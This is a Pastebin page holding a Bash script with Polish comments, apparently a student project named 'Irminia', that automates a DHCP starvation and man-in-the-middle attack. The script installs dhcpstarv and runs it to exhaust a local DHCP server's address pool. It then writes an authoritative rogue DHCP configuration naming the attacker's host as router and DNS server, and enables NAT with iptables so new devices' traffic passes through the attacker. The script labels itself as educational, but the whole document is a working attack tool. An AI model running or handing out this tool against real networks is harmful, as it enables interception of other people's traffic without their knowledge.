Advertisement
Kennene

DHCP Starvation w Bashu

Jun 7th, 2022
1,517
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 10.71 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. wybierz_interfejs() { #deklaracja funkcji, ponieważ wielokrotnie będę się do niej odwoływał
  4.     interface="" #deklaracja zmiennej
  5.     local interfaces=($(ip -o link show | awk -F ': ' '{print $2}')) #deklaracja zmiennej lokalnek, wyciecie z programu ip jeydnie nazw interfacu i wrzucenie ich do listy
  6.  
  7.     while [ "$interface" == "" ]; do #powtarzaj petle dopoki interface nie zostal ustalony
  8.         clear #wyczysc terminal
  9.         echo "$1" #wypisz polecenie przekazane do funkcji
  10.         ip -o link show | awk -F ': ' '{print $2}' #wypisanie drugiego segmentu (rozdzielanego ": ") z programu ip
  11.         read interface #wczytanie od uzytkownika nazwy interfacu
  12.  
  13.         if ! [[ " ${interfaces[*]} " =~ " ${interface} " ]]; then #jezeli wpisany przez uzytkownika nazwa interfejsu nie istnieje jako interfejs w systemie operacyjnym...
  14.                 interface="" #...to ustaw interfejs jako nic, co powtorzy petle
  15.         fi
  16.     done
  17. }
  18.  
  19. system_pause() {
  20.     echo "Kliknij dowolny przycisk aby kontynuować..."
  21.     read -n 1 #wczytanie jednego znaku to zadnej zmiennej, spowoduje to zatrzymanie programu dopoki uzytkownik nie wcisnie czegokolwiek
  22. }
  23.  
  24. if [ "$EUID" -ne 0 ]; then #jezeli user id nie rowna sie 0 to wyjdz z programu i poinformuj, ze skrypt musi byc uruchomiony z uprawnieniami roota
  25.     printf "Prosze uruchomic skrypt jako \033[0;31;4mroot\033[0m\n"
  26.     exit 1 #wyjdz z programu i zwroc 1 oznaczajacy ogolny błąd
  27. fi
  28.  
  29. while [ "${wybor}" != "99" ]; do #jeżeli wybor bedzie 99 to przestań pwotarzać pętle
  30.  
  31.     clear
  32.     printf "\033[0;33m  _____                   _         _        \n |_   _|                 (_)       (_)       \n   | |   _ __  _ __ ___   _  _ __   _   __ _ \n   | |  | '__|| '_ \` _ \ | || '_ \ | | / _\` |\n  _| |_ | |   | | | | | || || | | || || (_| |\n |_____||_|   |_| |_| |_||_||_| |_||_| \__,_|\033[0m" #kolorowe logo programu
  33.     printf "\n\n"
  34.     printf " 1 Zainstaluj potrzebne pakiety\n"
  35.     printf " 2 Wysyć adresy lokalnego serwera DHCP\n"
  36.     printf " 3 Uruchom własny serwer DHCP\n"
  37.     printf " 4 Konfiguracja NAT\n"
  38.     printf "98 Informacje o programie\n"
  39.     printf "99 Wyjście z programu"
  40.     printf "\n\n"
  41.     printf ">"
  42.     read wybor
  43.  
  44.     case "${wybor}" in #switch wybierania odpowiedniej opcji z menu
  45.  
  46.          "1")   clear
  47.  
  48.                 if ! dpkg -s isc-dhcp-server > /dev/null 2>&1; then #jezeli pakiet isc-dhcp-server nie jest zainstalowany... (/dev/null 2>&1 oznacza usuniecie jakiegokolwiek outputa z programu)
  49.  
  50.                     echo "Brak zainstalowanego serwera DHCP. Czy chcesz doinstalować pakiet? [T/n]"
  51.                     read -sn 1 wybor #wczytanie jednej literki do wybor -s oznacza wczytywanie niejawne
  52.                     wybor=${wybor,,} #zamiana pierwszej literki na małą w razie gdyby była duża
  53.  
  54.                     if [ "$wybor" == "t" ] || [ "$wybor" == "y" ] || [ "$wybor" == "" ]; then #jezeli uzytkownik wyrazil chec zainstalowania programu to go zainstaluj. "$wybor" == "" ponieważ wcześniej zaznaczone jest duże T ([T/n])
  55.                         apt install -y isc-dhcp-server #menadżer pakietów apt ma zainstalować pakiet isc-dhcp-server. flaga -y oznacza, ze nie ma pytac uzytkownika czy na pewno chce pobrac pakiet
  56.                         clear
  57.                     fi
  58.                 else
  59.                     echo "Pakiet isc-dhcp-server jest już zainstalowany"
  60.                 fi
  61.  
  62.  
  63.                 if ! dpkg -s ipcalc > /dev/null 2>&1; then
  64.  
  65.                     echo "Program ipcalc jest wymagany do poprawnego działania programu. Czy chcesz doinstalować pakiet? [T/n]"
  66.                     read -sn 1 wybor
  67.                     wybor=${wybor,,}
  68.  
  69.                     if [ "$wybor" == "t" ] || [ "$wybor" == "y" ] || [ "$wybor" == "" ]; then
  70.                         apt install -y ipcalc
  71.                         clear
  72.                     fi
  73.                 else
  74.                     echo "Pakiet ipcalc jest już zainstalowany"
  75.                 fi
  76.  
  77.  
  78.                 if ! dpkg -s dhcpstarv > /dev/null 2>&1; then
  79.  
  80.                     echo "Do wysycenia serwera DHCP jest potrzebny program dhcpstarv. Czy chcesz doinstalować pakiet? [T/n]"
  81.                     read -sn 1 wybor
  82.                     wybor=${wybor,,}
  83.  
  84.                     if [ "$wybor" == "t" ] || [ "$wybor" == "y" ] || [ "$wybor" == "" ]; then
  85.                         apt install -y dhcpstarv
  86.                         clear
  87.                     fi
  88.                 else
  89.                     echo "Pakiet dhcpstarv jest już zainstalowany"
  90.                 fi
  91.  
  92.                 echo ""
  93.                 system_pause #uruchomienie funkcji, ktora zatrzymuje program dopoki uzytkownik czegoś nie wciśnie
  94.              ;;
  95.  
  96.          "2")
  97.  
  98.                 if ! dpkg -s dhcpstarv > /dev/null 2>&1 ; then
  99.                     echo "Pakiet dhcpstarv nie jest zainstalowany. Wybierz w menu opcję doinstalowania wymaganych pakietów."
  100.                 else
  101.                     clear
  102.                     wybierz_interfejs "Wskaż interfejs przez który chcesz wyciągnąć wszystkie dostepne adresy z DHCP" #wykonanie funkcji z argumentem informującym użytkownika co ma wpisać
  103.                     sudo dhcpstarv -i ${interface} > /dev/null 2>&1 & #uruchomienie pakietu dhcpstarv na interfejsie podanym przez użytkownika. & na końcu uruchamia program w tle
  104.                     echo "Wysycanie serwera DHCP zostało uruchomione w tle"
  105.                 fi
  106.  
  107.                 system_pause
  108.              ;;
  109.  
  110.          "3")
  111.  
  112.                 if ! dpkg -s isc-dhcp-server > /dev/null 2>&1 || ! dpkg -s ipcalc > /dev/null 2>&1 ; then #jeżeli jeden z dwóch (|| oznacza lub) nie jest zainstalowany...
  113.                     echo "Wymagane pakiety nie są zainstalowane. Wybierz w menu opcję doinstalowania wymaganych pakietów."
  114.                 else
  115.                     clear
  116.  
  117.  
  118.                     wybierz_interfejs "Wskaż interfejs na którym chcesz uruchomić usługę DHCP"
  119.  
  120.  
  121.                     ip=""
  122.                     while ! [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\/[0-9]+$ ]]; do #jezeli w kazdym oktecie adresu ip znajduje się coś innego niż liczby 0-9 a sam adres nie jest zakończony maską w formacie CIDR (np /24) to wykonuj pętle
  123.                         echo "Wprowadź adres sieci wraz z maską (np 192.168.0.0/24)"
  124.                         read ip
  125.  
  126.                         CIDR=$(echo $ip | cut -f2 -d "/") #zapisz do zmiennej CIDR wszystko co zostało wpisane po /, czyli maskę wpisaną przez użytkownika
  127.  
  128.                         if [[ $CIDR  -gt 24 ]] || [[ 1 -gt $CIDR ]]; then #jeżeli maska będzie większa od 0 i mniejsza od 24 (program nie obsługuje masek większych niż 24)...
  129.                             ip="" #...to ustaw ip na nic, żeby petla sie powtórzya i uzytkownik wprowadził jeszcze raz adres ip
  130.                         fi
  131.                     done
  132.  
  133.  
  134.                     Network=$(ipcalc "$ip" | grep "Network" | awk '{ print $2; }' | cut -f1 -d "/") #zapisanie do zmiennej network adresu sieci
  135.                     Maska=$(ipcalc "$ip" | grep "Netmask" | awk '{ print $2; }') #zapisanie do zmiennej maska adresu maski sieci w formacie standardowym czyli 255.255.255.0
  136.                     ServerIP=$(ipcalc "$ip" | grep "HostMin" | awk '{ print $2; }') #zapisanie do zmiennej serverip najmniejszego dostępnego adresu z puli dhcp, co zostanie przydzielone dla serwera dhcp
  137.                     HostMax=$(ipcalc "$ip" | grep "HostMax" | awk '{ print $2; }') #zapisanie do zmiennej hostmax maksymalnego adresu dostępnego z puli dhcp
  138.  
  139.                     echo ""
  140.                     echo "Adres IP serwera DHCP: ${ServerIP}"
  141.                     echo "Maska sieciowa: ${Maska}"
  142.                     echo "Pula adresowa serwera DHCP: ${ServerIP%?}2 - ${HostMax}" #${ServerIP%?}2 oznacza usunięcie ostatniego znaku ze stringa serverip a 2 zaraz za nią dopisuje po prostu dwojke na koncu, dzieki czemu 1 zmienia sie na 2
  143.                     echo ""
  144.  
  145.                      #poniżej wgrywanie konfiguracji serwera DHCP
  146.                     echo "
  147. host $(hostname) {
  148. hardware ethernet $(more /sys/class/net/${interface}/address);
  149. fixed-address ${ServerIP};
  150. option subnet-mask ${Maska};
  151. }
  152.  
  153. default-lease-time 600;
  154. max-lease-time 7200;
  155. authoritative;
  156.  
  157. subnet ${Network} netmask ${Maska} {
  158. range ${ServerIP%?}2 ${HostMax};
  159. option routers ${ServerIP};
  160. option domain-name-servers ${ServerIP}, 8.8.8.8;
  161. option domain-name \"skynet.wsb.ru\";
  162. }
  163. " > /etc/dhcp/dhcpd.conf #wykonanie hostname aby nadac nazwe rezerwacji taka sama jak nazwa serwera dhcp, $(more /sys/class/net/${interface}/address) wyswietla zawartosc pliku w ktorym jest zapisany adres mac podanej karty sieciowej
  164.  
  165.  
  166.                     echo "INTERFACESv4=\"${interface}\"
  167. INTERFACESv6=\"eth0\"" > /etc/default/isc-dhcp-server #nadpisanie pliku /etc/default/isc-dhcp-server aby poinformować serwer DHCP jakich interfejsów ma używać
  168.  
  169.  
  170.                     ip link set ${interface} down #wyłączenie interfejsu
  171.                     ip address flush dev ${interface} #przywrócenie interfejsu do stanu domyślnego
  172.                     ip address add "${ServerIP}/${CIDR}" dev ${interface} #dodaj adres ip wraz z maską na interface wskazany porzez uzytkownika
  173.                     ip link set ${interface} up #włączenie interfejsu
  174.  
  175.  
  176.                     printf "\nUruchamianie uslugi...\n"
  177.                     systemctl restart isc-dhcp-server.service #zrestartuj usługę isc-dhcp-server
  178.  
  179.  
  180.                     sleep 10 #z bardzo ciekawych przyczyn należy po prostu poczekać aż usługa isc-dhcp-server się zrestartuje, bardzo chętnie opowiem dlaczego tak musi być
  181.                     systemctl is-active -q isc-dhcp-server.service #sprawdzenie czy ta usługa jest active
  182.                     if [ $? -ne 0 ]; then #$? oznacza sprawdzenie z jakim exit codem wykonała się porpzednie polecenie
  183.                         printf "\n\033[0;31;4mUsluga DHCP nie zostala uruchomiona\033[0m\n"
  184.                         echo "Po szczegolowe informacje sprawdz /var/log/syslog"
  185.                         exit 1
  186.                     else
  187.                         echo "Usługa została poprawnie uruchomiona"
  188.                     fi
  189.                 fi
  190.  
  191.  
  192.                 system_pause
  193.             ;;
  194.  
  195.          "4")
  196.                 wybierz_interfejs "Podaj interface na którym działa twój serwer DHCP"
  197.                 LAN=$interface
  198.                 wybierz_interfejs "Podaj interface na który dostałeś IP (WAN)"
  199.                 WAN=$interface
  200.  
  201.                 echo 1 > /proc/sys/net/ipv4/ip_forward #ustawienie forwardowanie pakietów na true, czyli 1
  202.                 iptables -t nat -A POSTROUTING -o $WAN -j MASQUERADE # tabeli nat dodaj POSTROUTING na interfacie wan
  203.                 iptables -A INPUT -i $LAN -j ACCEPT
  204.                 iptables -A INPUT -i $WAN -m state --state ESTABLISHED,RELATED -j ACCEPT
  205.                 iptables -A OUTPUT -j ACCEPT
  206.  
  207.                 system_pause
  208.             ;;
  209.  
  210.         "98")   clear
  211.                 printf "\033[0;33m  _____                   _         _        \n |_   _|                 (_)       (_)       \n   | |   _ __  _ __ ___   _  _ __   _   __ _ \n   | |  | '__|| '_ \` _ \ | || '_ \ | | / _\` |\n  _| |_ | |   | | | | | || || | | || || (_| |\n |_____||_|   |_| |_| |_||_||_| |_||_| \__,_|\033[0m\n"
  212.                 echo "Program Irminia to projekt programu BASH na systemy operacyjne na kierunku informatyka na wyższej szkole bankowej w Poznaniu. Program służy do przeprawdzania ataku DHCP Starvation i służy tylko i wyłącznie celom edukacyjnym. Program działa poprawnie na świeżej instalacji systemu Linux Ubuntu 22.04 LTS"
  213.                 echo ""
  214.                 echo ""
  215.                 echo "Opis ataku:"
  216.                 echo "Jest to atak typu Man In The Middle. Program wysyca całą pulę adresową lokalnego serwera DHCP, stawia swój własny serwis DHCP i konfiguruje NAT z jednego interfejsu na drugi. Dzięki temu nowe urządzenia dostają nasz adres IP i cały ruch jest kierowany przez nasz komputer."
  217.                 echo ""
  218.                 echo ""
  219.                 echo "Krzysztof Pacyna © 2022"
  220.                 system_pause
  221.             ;;
  222.  
  223.         "99")
  224.                 echo "Goodbye!"
  225.                 wybor="99"
  226.             ;;
  227.  
  228.         "exit")
  229.                 echo "Goodbye!"
  230.                 wybor="99"
  231.             ;;
  232.     esac #zakończenie switcha
  233. done
  234.  
  235. exit 0 #zakończenie programu z exit codem 0, co oznacza poprawne zakończenie programu
  236.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement